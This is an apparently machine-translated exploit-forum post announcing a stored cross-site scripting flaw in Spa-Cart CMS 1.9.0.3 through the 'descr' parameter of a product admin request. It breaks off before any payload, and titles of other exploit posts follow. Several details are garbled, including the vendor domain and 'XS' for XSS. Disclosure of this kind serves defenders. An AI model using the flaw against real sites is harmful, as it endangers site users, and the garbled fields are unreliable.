spa -cart CMS-存储的XSS

[HackApt-37 Team已验证会员]

＃利用标题: Spa -Cart CMS-存储的XSS
＃日期: 2024-01-03
＃利用作者: Eren Sen
＃vendor: spa-cart
＃供应商HomePage: https://spa-cart.corm/
＃软件link: https://demo.spa-cart.com/
＃版本: [1.9.0.3]
＃cve-id: n/a
＃测试在: Kali Linux/Windows 10
＃发现日期: 2024/01/03
＃漏洞type:存储的跨站点脚本（XS）漏洞
＃脆弱参数类型:帖子
＃脆弱参数: descr
＃概念证明: demo.spa-cart.com/product/258
＃HTTP请求:
POST ////Admin/Products/258 HTTP/2
host: demo.spa-cart.com
cookie: phpsessid=

 

H

保险管理系统PHP和MySQL 1.0-多个存储的XS

H

Craft CMS 4.4.14-未经验证的远程代码执行